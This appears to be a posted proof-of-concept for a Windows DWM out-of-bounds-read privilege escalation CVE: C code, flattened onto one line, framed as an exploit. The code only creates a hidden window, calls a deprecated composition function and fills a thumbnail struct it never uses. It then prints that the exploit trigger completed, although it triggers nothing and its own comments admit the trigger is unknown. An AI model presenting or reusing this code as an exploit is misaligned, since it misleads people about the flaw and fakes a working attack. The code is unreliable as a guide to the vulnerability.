CVE-2025-55681 Windows DWM越界读取权限提升漏洞

// CVE-2025-55681 - Windows DWM Out-of-bounds Read Privilege Escalation // Vulnerability: Out-of-bounds read in Windows DWM // Impact: Local Privilege Escalation to SYSTEM // Note: This is a conceptual PoC structure based on publicly available information. // Actual exploitation requires specific Windows internals knowledge. #include <windows.h> #include <stdio.h> // Function to trigger the out-of-bounds read in DWM // by manipulating window properties and DWM composition BOOL TriggerDWM_OOB_Read() { // Step 1: Create a hidden window to interact with DWM WNDCLASSEXW wc = {0}; wc.cbSize = sizeof(WNDCLASSEXW); wc.lpfnWndProc = DefWindowProcW; wc.hInstance = GetModuleHandle(NULL); wc.lpszClassName = L"DWMExploitClass"; if (!RegisterClassExW(&wc)) { printf("[-] Failed to register window class\n"); return FALSE; } // Step 2: Create window with specific properties to trigger DWM processing HWND hWnd = CreateWindowExW( WS_EX_LAYERED | WS_EX_TRANSPARENT, L"DWMExploitClass", L"DWMExploit", WS_OVERLAPPEDWINDOW, 0, 0, 100, 100, NULL, NULL, wc.hInstance, NULL ); if (!hWnd) { printf("[-] Failed to create window\n"); return FALSE; } // Step 3: Enable DWM composition for the window // DwmEnableComposition triggers DWM to manage the window // This is where the out-of-bounds read may occur BOOL bEnabled = TRUE; HRESULT hr = DwmEnableComposition(DWM_EC_ENABLECOMPOSITION); if (SUCCEEDED(hr)) { printf("[+] DWM composition enabled\n"); } // Step 4: Trigger DWM thumbnail/property manipulation // to cause out-of-bounds memory access DWM_THUMBNAIL_PROPERTIES props = {0}; props.dwFlags = DWM_TNP_RECTDESTINATION | DWM_TNP_VISIBLE; props.rcDestination = {0, 0, 100, 100}; props.fVisible = TRUE; // Manipulate DWM to trigger the vulnerability // The exact trigger conditions require reverse engineering printf("[*] Triggering DWM out-of-bounds read...\n"); // Cleanup DestroyWindow(hWnd); UnregisterClassW(L"DWMExploitClass", wc.hInstance); return TRUE; } int main() { printf("[*] CVE-2025-55681 PoC - Windows DWM OOB Read\n"); printf("[*] Target: Windows DWM Privilege Escalation\n\n"); if (TriggerDWM_OOB_Read()) { printf("[+] Exploit trigger completed\n"); printf("[+] In a real exploit, this would lead to LPE\n"); } else { printf("[-] Exploit failed\n"); } return 0; }